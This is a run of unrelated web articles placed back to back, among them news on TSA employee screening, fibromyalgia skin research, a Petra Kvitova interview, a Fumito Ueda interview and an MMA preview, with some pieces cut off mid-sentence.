The White House said Rice and U.N. Ambassador Samantha Power would address the annual convention next week of the AIPAC pro-Israel lobby group, where Netanyahu is also speaking.
Boehner expressed doubts about the nuclear talks as he defended the invitation to Netanyahu. “What is destructive in my view is making a bad deal that paves the way for a nuclear Iran. That’s destructive,” he said.
Boehner said it was important for the U.S. public to hear Netanyahu talk about the “grave threats” facing Israel. “I’m glad that most of my colleagues, Democrats and Republicans, will be there to hear what he has to say,” he said.The Transportation Security Administration, responsible for making air travel safer by screening passengers, is now under the microscope for not screening airport employees.
Recent gun and drug smuggling arrests have a number of lawmakers, including Senator Bill Nelson, demanding answers.
If you’ve traveled by air, you’ve dealt with the TSA screeners. You remove shoes, belts and everything else that might set off alarms. But Nelson said alarms are going off in Washington, after a baggage handler at Atlanta’s Hartsfield Jackson International Airport was found to be involved in a gun smuggling ring.
The senator said the employee had access to sensitive areas and never had to undergo any type of search and for six months was sneaking backpacks full of guns onto airplanes bound for New York. Nelson said once the guns arrived, they were sold on the streets.
Senator Nelson and other members of the Senate Commerce Committee will grill TSA brass on what they plan to do to keep situations like that from happening again.
Nelson met with security personnel at Orlando International Airport Friday to look at procedures they have in place to stop security breaches. In 2006 an employee was caught smuggling guns and marijuana to Puerto Rico.
Airport security reassessed the access points and reduced the number of doors employees could enter and exit into sensitive areas. On the remaining doors, screeners were put in place at a cost of millions of dollars per year. But the move worked and Nelson said Orlando International’s security plan is one airports across the nation could learn from.
The senator said of 450 major airports in the country only Orlando and Miami International have made security changes to screen employees and limit their accessibility to sensitive areas.Research on Fibromyalgia Skin Sensitivities
Does your skin burn or itch? Do you frequently get rashes that just won’t go away? According to Charles Lapp, M.D., who treats hundreds of people with fibromyalgia at his center in Charlotte, NC, “fibromyalgia-related rashes occur in the majority of patients that I see.” Lapp, along with another experienced physician, Daniel Wallace, M.D., of UCLA, agrees that skin sensitivities are common in fibro. So what is it about your skin and its related tissues that make them so sensitive? Studies during the past 20 years may help explain why your skin is such a nagging issue.
Xavier Caro, M.D., of Northridge, CA, performed most of the early research in this field to show that there was a high concentration of immune-reactive proteins in the area just beneath the surface of the skin. He theorized that these proteins had escaped through larger-than-normal pores in the blood vessels supplying the skin, and they could be a source of immunological reactions because the body would view them as “foreign” substances in the skin tissues (i.e., it is not normal for these proteins to pass through the blood vessels).
, of Northridge, CA, performed most of the early research in this field to show that there was a high concentration of immune-reactive proteins in the area just beneath the surface of the skin. He theorized that these proteins had escaped through larger-than-normal pores in the blood vessels supplying the skin, and they could be a source of immunological reactions because the body would view them as “foreign” substances in the skin tissues (i.e., it is not normal for these proteins to pass through the blood vessels). Although Caro’s findings point to an immunological disruption in the skin of patients with fibromyalgia, they are commonly seen in conditions where the microcirculation (the capillaries and small blood vessels) has undergone changes. Haiko Sprott, M.D., of Switzerland, reported that the number of capillaries in the skin of fibromyalgia patients were significantly reduced and irregular in shape. The amount of blood flow to the peripheral tissues (such as the skin) was substantially reduced as well.
, of Switzerland, reported that the number of capillaries in the skin of fibromyalgia patients were significantly reduced and irregular in shape. The amount of blood flow to the peripheral tissues (such as the skin) was substantially reduced as well. A Swedish team found a fourfold increase in the number of mast cells in the skin of fibromyalgia patients. Mast cells, part of the immune system, are filled with many chemicals such as histamine and cytokines (both can cause painful irritation in the surrounding tissues when released from the mast cells). Neurological impulses can cause mast cells to dump their contents (degranulate), eliciting a neuro-immune response. The authors of this study point out that, perplexing, the mast cells are degranulated in areas where the skin looks “normal.” In other words, the surface of the skin does not convey the immunological, neurological, and blood flow abnormalities that are occurring in the tissues below!
Taken together, the above findings may help explain why you are often troubled with rashes that are difficult-to-treat. Even if the skin appears normal on the surface, there is a lot going on beneath the surface to fuel your skin irritations and itchy/burning sensations.
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Hooters, the restaurant chain widely known for the skimpy outfits of its waitresses, has built its reputation in part on its fun-loving and mildly provocative spirit. But a Korean-American customer has accused a Hooters restaurant in Queens of taking that carefree ethos too far and has sued the company for
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and the game will not constantly badger you to spend money on microtransactions. People who enjoy MOBAs and PvP arenas are encouraged to check this out if they are in the market for a new title, especially since free mode allows all the time you need to decide if purchasing this title is worthwhile.After a mid-season layoff of almost two months, two-time Wimbledon champion Petra Kvitova is back on the WTA circuit after a successful weekend at Fed Cup. In her pre-Stuttgart sit-down with the press, the Czech star talked about the team competition, her decision to take a conscious break before Indian Wells, and how she feels about the upcoming clay season.
“It’s a little bit different coming back, it’s not the beginning of the season – but it feels for me a little bit like it.”
Early in March, Petra Kvitova made the somewhat surprising announcement that she would to skip Premier Mandatories in Indian Wells and Miami. Eight weeks later, the Czech is playing her first WTA tournament since Doha in February and opened up about what triggered the exhaustion that led her to miss two of the biggest tournaments of the season.
“I felt like my last season didn’t finish, I had only two weeks off. It was the 4th or 5th year I’m really doing this kind of stuff, and we are playing final of the Fed Cup — so it’s always a little bit longer season than normally. In the beginning of the season it was OK, but in the Sydney, I started to feel these weird symptoms — that I was playing but not really feeling any excitement.
“It was really tough for me, I was feeling really empty.”
Talking with coach David Kotyza revealed that he saw a similar problem: his charge was looking burnt out on court.
“I’m glad I took the break, had a really nice time off and didn’t think about tennis. I really enjoyed that time. I didn’t have really proper holidays [this year] so for me, it was great to just lie on the beach and get a little bit of the sun tan. I’m really glad I’ve been somewhere, and not in the same environment every time, so it was very nice.”
Kvitova had previously written in a BBC blog of a struggle to decide whether to take time off, opening up a little more about the decision making process on Tuesday.
“From Dubai, I was moving to Doha. David didn’t go with me and he texted me about this idea to have a break. For me it was really big shock; I didn’t expect this, and for me it’s really tough. I’m a little probably like the Germans — you have to be on schedule — and so, that’s me as well. And I’m feeling badly when I’m not doing what I should.
“So it took me a while for sure.”
A Fed Cup stalwart, the Czech has hardly sat out a tie in the past few years, and was a member of the winning team in three of the past four years. The chance to play against France for a place in the final was one Kvitova wouldn’t pass up.
“I love to represent my country. It’s an honor for me [since I was a] kid, and I always like to play the team competitions (in) the Czech Republic — the same in the Fed Cup. We are glad that we have so many good players, so really it’s not about me — it’s about the team, and we have a great team spirit as well. So all week when we are getting ready for the weekend, it’s really a lot of fun and we are not getting bored at all.”
Even though Fed Cup has cut her off-season short on several occasions, the World No. 4 insisted and echoed Andrea Petkovic’s stance on Monday — the team competition will almost always have a place in her calendar.
“I like the challenges and after this break it was tougher, more than before for sure. I’m glad that we won and we are playing the final again.”
In the run up to the semifinal tie in Ostrava, Kvitova picked up a racquet to training again in late March, and was happy to feel excited to return.
“I was really tired from everything: the traveling, the tennis, the competing, from the hotels and stuff like this. That’s something I don’t like, because I really love to play tennis and so these feelings were really weird. But the few days before I had to have a racquet in my hand again, I was really looking forward.”
For the clay court swing, the Czech tried to keep expectations low, explaining that she aims to first get back into the rhythm by getting a couple of matches under her belt.
“I’m trying from the beginning not to put too much pressure on myself, because I really don’t know how it’s going to be: the emotions and preparation, how it will go. I hope that I will get used to the clay a little bit quicker, and it will be much better soon.
“And, of course, I need some matches. I hope it’s going to be better than before I did the break.”
In her first match in Stuttgart, the two-time Wimbledon champion is going to face either American Madison Brengle or Italy’s Alberta Brianti.
What do you make of Kvitova’s break from the WTA and return? Sound off in the comments!
AdvertisementsAbout This Game Designed from the start to be a fully procedural co-op game, Windward can be played by yourself, but it truly comes alive when playing with friends. Start by generating a procedural world that will be unique to you, design your own custom faction then sail forward fighting pirates, trading with towns, doing quests or simply exploring -- it's up to you how you want to play.
As you sail about you will find resources you can make use of, upgrades for your ship, new towns that will ask your assistance, and as you get farther out from the starting area -- various pirates that will attempt to take what's rightfully yours. Combat experience will let you unlock new talents and abilities to make that particular line of work easier.
As you take up consignments with towns and fulfill their production shortages, the towns will grow, offering more quests, more resources and better items. As the towns continue to grow they will offer you a choice to upgrade your ship itself. Would you prefer a fast Schooner to explore the world, or a heavy Galleon that's able to take up 5 consignments at once? Or perhaps a massive Ship of the Line to take the fight with the pirates to their heartlands?
As you explore the world and get farther away from your starting area, the game will become progressively more difficult -- but so will the rewards. Throughout all of this you can expect the pirates to put up a fair fight, as the AI is bound by the same rules as the player: they have sight, and must explore the map before they can know what's there.
Speaking of AI, build a fearsome reputation and the AI will respect you, even fear you -- avoiding you if at all possible. Some friendly AI will even choose to follow you and assist you in your own adventures.
And so, on the topic of adventures -- ready to have yours?The killings in Charleston, South Carolina, heartbreakingly elicit another focus on race.
In our case, not about race as a social construct, but race as it appears in print: Specifically, when to use capital letters or not for people who are identified with the label “black” or “white.”
A website originally registered to the man accused in the Charleston killings, Dylann Roof, capitalizes “White,” but not “black,” as do many other white supremacist sites. Publications aimed at blacks often capitalize “Black,” but not “white,” and there are strong feelings that “Black” should be capitalized. (The home page of the church target in the attack, the Emanuel AME Church, does not capitalize “black.”)
To start with, let us stipulate that any discussion involving race is fraught: Even thinking there is such a thing as race is controversial, since many anthropologists believe that people cannot be so grouped biologically.
Though there are more arguments for capitalizing “Black” than for capitalizing “White,” some have argued that “Black” and “White” should both be capitalized, the way Asian, Hispanic, Arab, etc. are. One difference is that those are all proper names, describing not the person, but the geographical or ethnic origin or ancestry of that person. And just as people might describe themselves as “Japanese” or “Chicano” rather than “Asian” or “Hispanic,” people who are “black” or “white” are just as likely to describe themselves as “African American” or “Irish.” “Black” and “white” are equally broad descriptions of skin color, not ethnicity or origin.
Most journalism-related style guides, like those of the Associated Press and New York Times, call for putting both “white” and “black” in all lowercase letters. Others, like The Chicago Manual of Style, allow capitalization if an author or publication prefers to do so. Dictionaries also allow both capitalization and lowercase versions. In other words, it’s fielder’s choice whether to capitalize “black” and “white” or not.
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As the excellent Grammarphobia blog noted, The American Heritage Dictionary is conflicted on whether to capitalize “Black” but not “White.” “Orthographic evenhandedness would seem to require the use of uppercase White, but this form might be taken to imply that whites constitute a single ethnic group, an issue that is certainly debatable,” the dictionary says.
But using “lowercase white in the same context as uppercase Black will obviously raise questions as to how and why the writer has distinguished between the two groups,” the usage note says. “There is no entirely happy solution to this problem,” American Heritage concludes. “In all likelihood, uncertainty as to the mode of styling of white has dissuaded many publications from adopting the capitalized form Black.”
So why does it matter? Capital letters jump off a page, and signal an Importance greater than that of the uncapitalized words. One reason partisans capitalize “White” or “Black” is to denote its importance in messages, even subliminally, magnified by lowercasing the “other.”
As always, we believe that labels can oversimplify, and that a specific description is better. But if someone prefers “African American,” use that term rather than a more generic “black.” And, as always, use such descriptions only if they’re relevant, if the reader understands the relevance, and if they are applied equally to everyone mentioned.
DiversityInc. has a column called “Ask the White Guy,” and in 2009 its author, Luke Visconti, explained “Why the ‘B’ in ‘Black’ Is Capitalized at DiversityInc.” His reasoning, in part, is that “Our capitalization of ‘Black’ is both a reflection of reality and of respect.”
[M]any Black people describe themselves simply as being “Black,” and this reality is reflected in a body of literature, music and academic study. I do not believe “white” needs to be capitalized because people in the white majority don’t think of themselves in that way. I don’t think there’s anything wrong with this—it’s just how it is.
That opinion, though, creates a typographical inequality, if not a sociological one, that may subliminally convey a bias.
Language can reflect and foster bias and even invite violence, so respectfulness should always trump style or linguistic ambiguities. There may be contexts where bias is appropriately intentional, but absent that, equality should rule.
Has America ever needed a media watchdog more than now? Help us by joining CJR today
Merrill Perlman managed copy desks across the newsroom at The New York Times, where she worked for 25 years. Follow her on Twitter at @meperl.The Delhi Police have booked Aam Aadmi Party MLA Jarnail Singh for allegedly assaulting a South Delhi Municipal Corporation engineer and stopping him from carrying out his duty.
In an FIR registered Tuesday, the Tilak Nagar legislator is also accused of tearing up official documents and threatening to frame junior engineer Athar Mustafa in a false corruption case.
The scuffle took place when Mustafa, with his team and five policemen, went to bring down an illegal structure in west Delhi’s Krishna Park Extension area. “We were demolishing the roof of the building when its owner called local MLA Jarnail Singh who arrived with his supporters.
The MLA and his men abused and physically assaulted me. When I showed him the documents authorising the demolition, he tore them up and threatened to frame me in a false corruption case,” said Mustafa.
Rejecting the charges, Singh claimed no notice was served to the property owner and threatened to file a counter complaint Mustafa.
Singh is the fifth AAP leader to be booked by police in less than three months. The FIR against him comes a week after police launched a probe into the role of AAP leaders in the suicide of farmer Gajendra Singh.
First Published: Apr 29, 2015 23:52 ISTBuy Photo Florida wildlife officials investigated thefts from a Jefferson County archeological dig for more than a year. (Photo: Democrat files)Buy Photo
Florida wildlife officials investigated an illegal archeological dig in Jefferson County for more than a year.
Last week, four people — Darin C. Reynolds, Taylor C. Passetti, Matthew P. Munsey and Jordan T. Patterson — were arrested on charges of unlawful excavation of an archeological site. Patterson surrendered Aug. 14.
The Aucilla River Management Area site has been looted in the past, said Florida Fish and Wildlife Conservation Commission spokesman Bekah Nelson. Officers started investigating the illegal operation in June 2015. FWC officers are still finalizing arrest reports detailing the incident.
East of the Wacissa River, the site is several miles from an underwater location where Florida State University researchers this year announced the discovery of stone tools as much as 14,550 years old, thought to be the oldest signs of human life in the southeast U.S.
Contact Karl Etters at [email protected]
Read or Share this story: http://on.tdo.com/2bc8XC7After helming the Oscar-nominated “Captain Fantastic,” Matt Ross will direct an adaptation of Tom Sweterlitsch’s debut novel “Tomorrow and Tomorrow” for TriStar.
Mark Gordon will produce via The Mark Gordon Company along with Entertainment 360 and Lynette Howell Taylor.
Published in 2014, the novel is set in a near future world where humanity’s relationship with evolving virtual environments becomes isolating.
“‘Tomorrow and Tomorrow’ is prescient,” Ross said. “It posits a world not so dissimilar from today, a direction we are all clearly headed where technology has altered the ways in which we interact with each other and the world around us.”
He continued, “I hope to examine, following the book’s lead, the degree to which our lives are enhanced and deeply compromised by the technology that is already an inseparable part of our daily existence. Lynette and I couldn’t be more excited to collaborate with Hannah to translate this book into the complex and relevant film we all believe it can be.”
Entertainment 360 first brought the book to Gordon. Together they took the project to TriStar, where it sold in a competitive auction.
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“The triumph of ‘Captain Fantastic’ is that it is at once funny, emotional and thought provoking,” said Hannah Minghella, President of TriStar Pictures. “It’s this ability to explore a thematic idea in a way that is both intelligent and entertaining that makes Matt such an exciting director for ‘Tomorrow and Tomorrow.'”
Minghella added, “As a futuristic crime thriller, the book uses the near future to reflect on timely questions about our world today and how virtual reality impacts actual reality. It’s Matt’s interest in exploring the complex intersection of technology with morality and love that makes his vision for ‘Tomorrow and Tomorrow’ especially compelling.”
Best known for his acting on TV shows such as “Big Love” and “Silicon Valley,” “Captain Fantastic” was Ross’ second directing gig. The movie earned Viggo Mortensen an Oscar nomination for best actor.
Ross is repped by WME and Framework Entertainment.The California Construction and Industrial Materials Association (CalCIMA) awarded with the association’s 2013 CalCIMA Excellence in Safety Awards.
CalCIMA President and CEO Gary Hambly says the awards recognize mines and plants that make an effort to improve workplace safety.
“They recognize the team effort from workers, supervisors, and management to allow for innovations, processes, and communication to improve workplace safety,” he says.
The awards have have several categories for aggregate, ready mixed concrete, and industrial minerals plants and personnel. Winners of the 2013 awards were selected in five categories:
Cement Plant – TXI Riverside Cement’s Crestmore Quarry and Plant in Riverside County
Ready Mixed Concrete Plant – Lehigh Hanson’s Paso Robles Ready Mixed Concrete Plant in San Luis Obispo County
Industrial Mineral Plant – Lhoist North America’s Natividad Plant in Monterrey County
Small Aggregate Plant (fewer than 20 employees) – Calaveras Materials Inc.’s Merced Aggregate Mine in Merced County
Large Aggregate Mine – Lehigh Hanson’s Irwindale Rock Plant in Los Angeles County
Mike Herges, Graniterock safety and health services manager and co-chair of the CalCIMA Safety and Health Committee, says the awards recognize operations for making permanent changes that improve safety.
“The CalCIMA Excellence in Safety Award is unique in that it goes beyond numbers and seeks to find changes in culture, engineering, and procedures to learn where mines and plants are adapting and changing to improve safety,” he says.
CalCIMA also recently recognized six of its members for making contributions this year. Read about those awards here.Fumito Ueda, the Japanese creator of the video games, Ico, Shadow of the Colossus and The Last Guardian, is one of the best-loved but least-known game-makers working today. He has a reputation for being a shy interviewee and a private colleague. A Sony employee recently told me that when, during another interview, Ueda mentioned his family, Ueda’s staff who were present were surprised; the director had never before mentioned that he has a wife and child.
When I spoke to Ueda a few weeks ago for a New Yorker story about his latest, extraordinary project, The Last Guardian, I was eager to find out more about his background and journey. While, by his own admission, Ueda is a “not a good talker”, he gave generous and thoughtful responses.
The story, ‘Fumito Ueda’s Slow Route to Perfection’ was published on the site last week. As relatively little is known about the director, here is the full transcript of our conversation, which contains many additional details that help to explain, if not the message of Ueda’s work, then something of the substance.
Simon Parkin: What was your childhood like?
Fumito Ueda: I was born in 1970 in the Hyōgo Prefecture of Japan. From a young age I loved drawing. In pre-school one of my drawings actually won an award. At that early moment I realised that I had a talent. It boosted my confidence. Until today art is the one thing that I’m pretty good at.
SP: What was the picture that won the award?
FU: It was a drawing of a turtle. I drew it from the perspective of someone looking down on the shell and I filled up the entire sheet of paper, with just the head and the feet squeezed into the margins at the edges.
SP: Who encouraged you to draw?
FU: Neither of my parents were in arts-related fields. But my father was skilled with his hands. He could create intricate objects. He would break off a piece of bamboo in the fields behind our house and make something out of it, like a toy bow and arrow, or a spinning top. He would make these little, detailed, craft items.
SP: In Ico, the animation of the boy is so well-observed, in terms of how young children move and behave. Which bits of yourself as a child did you put into that game?
FU: Even though I liked to draw and I’d do that inside our house, I enjoyed spending time outdoors equally. Whether it was fishing, or a taking light hike up the mountains… there was always a little bit of adventuring involved in these outdoor activities. Perhaps that had an effect on some of the things that you might have seen in my work.
SP: Did you have a castle near your house?
FU: [Laughs] There is, actually. Himeji Castle. It’s a world heritage site.
SP: Did you work hard at school, or were you distracted by the drawing?
FU: It’s true: I was probably known as that kid who just liked to draw in the corner. My grades were not the best, but they weren’t the worst, either. From the outside, people would know me as, more or less, a quiet student. I didn’t stand out much, that’s for sure.
SP: Which artists did you admire?
FU: Maybe not an artist, per-se, but I was a fan of manga artists. Especially Fujiko Fujio, the creator of Doraemon. I’d go out and get tiny, thick notebooks and draw flick comics starring Doraemon. I was so into doing that. I’d draw a hundred pages at a time. As with anyone, when you’re growing up your interests change over time. Through elementary school into junior high and on to university my tastes changed from Doraemon to, say, Katsuhiro Otomo.
But here’s a thing I just remembered. The first Doraemon movie was titled “Nobita’s Dinosaur”. In that film a dinosaur hatches from the egg. Slowly they become friendly. There’s a similar nuance in Trico, between the young boy and the creature. There are similarities there.
SP: Your games don’t look like manga or anime. In this way they stand out from typical Japanese games. Why did you want your games to look so different when you enjoyed manga as a child?
FU: I wonder that too. Perhaps, until high school, comics were the source of my entertainment and interest. But they’re the kind of standard Japanese stuff that Japanese kids enjoy. When I got to university, there was a layer of culture shock that hit me. I began to learn about modern and abstract art. Until that time my drawings were more realistic in style. Then I was opened up to abstract images. I was encountering things I’ve never paid attention to or recognized before. I liked that, behind those abstract images, there was always an idea. That set me thinking about art in terms of ideas, rather than depictions. What could I make that had a clear idea behind it, looked unique, and yet wasn’t alienating? All of that led me to the aesthetic of my games.
SP: When you were studying at college, what was your plan? Did you hope to make games?
FU: I was at Art College. A few months before graduation, typically you go job-hunting in Japan. It’s almost like a mandatory thing. Well, I wasn’t a very diligent student. In fact, I think in general it’s safe to say that art students are not all that proactive. I was pretty laid back about it. So as graduation was approaching, I panicked a bit. It was around the time that computer graphics were becoming more interesting. I went out and bought a computer, and studied it on my own. I’m self-taught in computer graphics.
SP: What type of computer?
FU: A Commodore Amiga. This was actually a rare computer in Japan at the time. The operating environment was all English language, so I learned with a dictionary in one hand. I wanted to get my hands dirty so I dove in and figured it out as I went along. Iterating and learning from doing, really. It wasn’t my original intent. I was interested in multimedia, and using that to artistic ends. It was this exciting territory between full-scale installation and drawing. A new, emergent form. But soon enough I felt like there was something I could discover in or express through the computer. As I was spending so much time with the computer I decided to give animation a try, and then computer graphics, It was slow, independent process.
SP: That doesn’t explain why you chose an Amiga though.
FU: There were two reasons, when I think back. There weren’t any Japanese computers with graphical displays that would help me study that field. So I was limited to a Mac or an Amiga. The Amiga was less expensive, plus I was able to hook it up to a TV, so I didn’t need to buy a monitor as well. Those are some of the logistical reasons. But I also knew that Amiga would be a better option for film-making. It was a huge advantage because at the time my friends and I would create short films here and there. Rather than try to express something through still images I was more into moving images. The Amiga had a stronger showing in that regard.
SP: The Amiga was also a strong platform for computer games. Did they interest you at all?
FU: Yes, but while I’m sure there was a large library of games for the Amiga, I didn’t have much disposable income to spend on lots of games. So I was highly selective. The ones that interested me were the ones that I was attracted to in terms of animation. Lemmings and Flashback, to name two. The real reason for the Amiga was to learn computer graphics and I spent more time doing that than playing games.
SP: At what tine did you decide to apply for a job in the games industry?
FU: After I graduated, I bought the Amiga and got hooked on it. I was still trying to find a way to express my art using this machine. Shortly after, I saw that Sony was holding an art competition. I entered with an art installation piece. Somehow I got through the first round. Then the second round and into the finals. I ended up receiving a judge’s stipend for it. I realized, however, I couldn’t live off this. So I collected the film projects I’d worked on and sent them off to the video game studio Warp. That was the first place I submitted the work to, and they offered me a job.
SP: Wait. You need to go back. What was this winning instillation?
FU: The first round was that I had to submit a written concept to Sony. The second stage awarded me the allowance to make the instillation. It was around $1,000 or so. After that, I’d go off and create this thing. It got displayed at Minato-Mirai 21 in Yokohama. It’s a gigantic complex. There was a huge tent there that would display these installations and people would come and vote on their favourite. The finalist was awarded the prize at Sony’s headquarters in Ginza.
In terms of the project itself: imagine a worn down small cage for a pet rabbit or parrot. It was intentionally aged and worn. At the bottom, there was a layer of soil. Beneath the soil was a series of small motors. They were hidden. The surface structure of the dirt maybe looked like a mole hill. It was patchy and churned up. The sides and the ceiling of the cage had scratch marks, like an animal had tried to escape.
The motors hidden in the dirt were controlled by a radio controller. The idea was that there was a cat that lived under the earth in the cage. There was a sign to that effect. So people would walk up to the cage and peer in to look for this animal. I’d secretly control the motors, and it would spit out dirt onto people’s faces or noses.
I wanted to make something that would have more of a lasting impact than a painting. I wanted people to go home and find soil on their shirt or in their hair. That would be memorable art, I thought.”
SP: Wow.
FU: There’s one more part to this story… I mentioned the final judges’ award presentation took place on the rooftop in Ginza. It was filled with executives from Sony. The competition was called the ‘Art and Artists Exhibition’ but it was less about the artwork than the artists. They wanted to find a new, emerging voice in the art world. The final event was that you had to showcase your talent in front of this panel of judges on the rooftop of the Sony building in the Ginza. This took the form of performances: dances or whatever. The previous year someone responded to questions by playing a guitar. As you can imagine, there were lots of whacky ideas as everyone tried to impress these judges by showing off how creative they were…
My colleague and I who had worked on the art piece together were not good talkers. We don’t do well in front of crowds. So we were discussing how we could make a great impact. Something people would really remember. We settled on the idea of a street fight. We wore costumes and then I decorated my headgear to look like a wild animal.
When it came to our turn to perform, we just went for each other. There was no holding back. So much so that my friend knocked me out. It left a huge pain around my face, neck and shoulders. If I remember correctly that took place in 1994. Twenty-two years later, I still have a pain in my neck from that fight. It still creeps up sometimes, on a cold day.
SP: Now, it’s interesting that the art instillation was based around a cage. Ico had a cage in which Yorda was trapped, if I remember correctly. Then Trico escapes from a cage, or at least a cell, at the start of The Last Guardian. What’s this fascination with imprisonment?
FU: It’s funny you point that out. I don’t think there’s a connection there in my head. At least, it wasn’t intentional. I need to think about that. For me, with Trico, it was more about what is it that I can create that will stand out, and trigger people’s interest. I want people to feel intrigue, and want to peek inside this piece of art. If I somehow, cleverly use an animal then maybe people will naturally gain interest in my game, including people who are not necessarily game-players. Ever since this was in development since the beginning on the PlayStation 3 I was committed to that approach.
SP: When you came to Sony to make Ico, previously you’d only worked at a small studio as an animator. Suddenly, you’re director of a lavish project. How did you convince Sony to take the risk on you and your idea when you had little experience. And why did they subsequently keep on funding the project when it ran into so many development difficulties? Who believed in you to do that?
FU: I’ll take you one step back, to let you know why I left Warp. At the end, I wanted to work on my own ideas. I had some savings so I left the company, bought myself another computer, and my plan at the time was to create something for myself, on my own.
As I was doing that I heard through someone I met online, who was working at Sony Computer Entertainment, that the company was looking for someone who had expertise in a particular CG tool. Nobody at Sony could use it but I had learned this piece of software while at Warp. They knew this. They invited me to come and work with them. I refused, explaining that I was taking time off to work on my own idea. I told them to check back in with me in about three months’ time.
They came back with an offer for me to join Sony and simply work on my own project there, in their offices. They basically gave me a contract position. They provided a computer and a desk at Sony, and someone to work alongside me. That was the beginning of Ico. Akira Sato was the executive who offered me this opportunity. As to how I convinced them to allow me to work on this game… from my point of view all these concept pitches were done in writing, whether it’s a PowerPoint slide or document. I was able to present the idea with a trailer and, through that, give them a true vision of what the game could be. It’s quite different from the other folks pitching game ideas. The crowd who needed to approve what I was doing saw the potential.
SP: All three of your major works have been long projects that have become, at some point during their development, delayed. How have you convinced higher-ups to continue to back your games, even when they’re in trouble and, presumably, costing more money than originally anticipated?
FU: For the team and staff, back then internally, the team was called Yoshida Group. It was Shuhei Yoshida’s group. We had healthy competition in terms of pitches and showcases. We’d show each other what we’re working on. Our team would put together our current status in a video, with a soundtrack to create a target mood piece to present to everyone else at the office to show either our current status or where we’re going. Those were special moments for us, even when we were weary. People’s reaction would always reinvigorate the team.
SP: Are you a perfectionist?
FU: No. But I supposed the definition of perfection varies from person to person. I do have high standards. It’s very simple. All I strive for is to do what I think is right and to execute it in the manner that it should be presented. I will give you an example. You’re in the Ramen shop and the bowl comes at you from the other side of the counter. If you see the person that’s serving you has their thumb positioned so that it’s just touching the soup you might decide to pretend not to have seen that. It’s not like you’ll get food poisoning because of what’s happened. But as long you’re the customer and they’re serving you food, it’s just not right. If I’m presenting something I cannot cross the line of sticking my thumb into the Ramen soup. [Laughs]
SP: Last year I met with From Software’s Hidetaka Miyazaki. He told me that he decided to enter the video game industry after playing Ico. In fact, he transitioned from another industry entirely. How does it feel to have influenced such well-respected creators in such a profound manner?
FU: I am honoured to hear that. As I mentioned, to keep my motivation going I do the same. I don’t travel or go out drinking. The source of my energy is other people’s creative work. Wow. Yes. That really is an honour. You don’t hear that every day. Thank you for telling me.
SP: When you were in college you wanted to become a fine artist. Is there ever a regret for you that you didn’t get to do that outside of your games, or are you satisfied that, in this medium, you’ve been able to express everything that you hoped?
FU: I don’t have any regrets. At that time, I was still questioning my art but I was always interested in pop cultural art. I was never the kind of sophisticated student who’d spend their days in museums and galleries. Equally, my work never fit the manga tradition. I had to find my place. I wasn’t too sure if I was going to be able to make it as an artist. Video games became the place for me to express my art. It is perhaps the best pairing there could be.
That said, I think I’ve only come to accept the label of ‘game designer’ in the past few years. Perhaps that’s because I haven’t finished many games? I’m in the games industry, but I find it difficult to consider myself as part of that industry.
SP: I think that comes across in your games. They feel as though the come from a different tradition to many major video games made today… an artistic tradition rather than a computer science tradition, perhaps.
SP: Anime, film, mange and games — I can say with confidence that nothing I’ve enjoyed has been wasted for me. They all add flavour, I don’t know too many people who can say that, perhaps.
SP: What do your family think about your achievements? Have they ever said anything to you about them?
FU: I hope that they’re impressed at what I’ve achieved. I’ve had wonderful comments from people around the world about my games and the way that they’ve been affected by them. The younger me — the me at high school — he would never have imagined that this would one day be the case. It would have been incomprehensible. It feels like a dream, often. It’s unreal.A balcony isn't just for standing on and declaring yourself master of your domain. It's also a beautiful architectural feature that can turn an ordinary building into something fantastic. These are some of the most amazing balcony designs we've ever seen.
VM Houses in Ørestaden, a district of Copenhagen, Denmark, shaped like a V and an M from above, 2005
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Hammokum, a balcony hammock by G10 Design
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The skyboxes of Willis (formerly named Sears) Tower in Chicago, Illinois
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The Mountain Dwellings (Bjerget) in Ørestaden, a district of Copenhagen, Denmark, designed by the Bjarke Ingels Group
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Quai de la Graille with wonderful wooden balconies in Grenoble, France, by r2k Architects
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Baufeld 10 in HafenCity, a district of Hamburg, Germany
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A housing project in Izola, Slovenia, by Ofis Arhitekti, 2006
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This one in Khabarovsk, Russia
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Teacup-like balconies, as a part of an advertising campaign in Japan
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Housing Hatert by 24H in Nijmegen, Netherlands, 2011 with perforated metal balconies
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The Isbjerget (Iceberg) in Aarhus, Denmark, designed by JDS Architects and CEBRA, 2013
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Pradenn Social Housing in Nantes, France by Block Architects, 2013
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The Avenue on Portage, by 5468796 Architecture in Winnipeg, Canada with mirrored balconies
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The early-20th century Hample and Avenue Buildings were renovated by 5468796 after they had stood empty for almost two decades.
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rankings, are teammates at American Kickboxing Academy (AKA) in San Jose, Calif. The fighters have spent countless hours together in the gym training all aspects of the sport.
“The Punk” owns greater insight on his fellow lightweight than perhaps any 155-pound fighter in the world. Nurmagomedov is charging toward UFC gold, and now that Thomson is part of Bellator and no longer with the UFC, he didn’t hesitate labeling the undefeated Dagestan-born fighter as a future champion.
“There’s no doubt about it (that he’s a future UFC champion),” Thomson told MMAjunkie. “The current UFC champion right now is someone he already beat, and he didn’t just beat him, he destroyed him. He threw him around with ease.”
Thomson is referencing UFC lightweight kingpin Rafael dos Anjos, who suffered a lopsided unanimous decision loss to Nurmagomedov at UFC on FOX 11 in April 2014. Although Nurmagomedov won the contest decisively, the two athletes went in vastly different directions after the matchup.
Nurmagomedov encountered a series of knee injuries that have prevented him from returning to the octagon since. Dos Anjos, on the other hand, went on a four-fight UFC winning streak that included a title-winning performance against Anthony Pettis at UFC 185 in March.
The 26-year-old is scheduled to return to competition before the end of the year. Nurmagomedov is scheduled to meet Tony Ferguson at The Ultimate Fighter 22 Finale on Dec. 11 in Las Vegas. The main card airs on FOX Sports 1 at The Chelsea at The Cosmopolitan in Las Vegas.
Ferguson, coincidentally, handed Thomson a unanimous decision loss at UFC Fight Night 71 in his final UFC bout before Thomson parted ways with the organization and signed with Bellator. After sharing 15 action-filled minutes in the cage with “El Cucuy,” Thomson said he’s confident in what Ferguson will bring to the table against Nurmagomedov.
If that turns out to be what he expects, Thomson said he doesn’t see Nurmagomedov facing much difficulty.
“Outside of getting caught with something like a fluke punch or fluke kick or anything like that, I really don’t see him being beat,” Thomson said. “If he’s healthy and 100 percent and ready to go, he’s a phenomenal wrestler, a phenomenal athlete and he’s very talented.”
Nurmagomedov has garnered plenty of hype since his UFC debut in January 2012. He’s dominated every bit of competition placed before him, winning six consecutive fights under the UFC without having a single round scored against him. Moreover, Nurmagomedov’s 22-fight MMA winning streak is longest among active UFC fighters and he’s hardly been tested during that stretch.
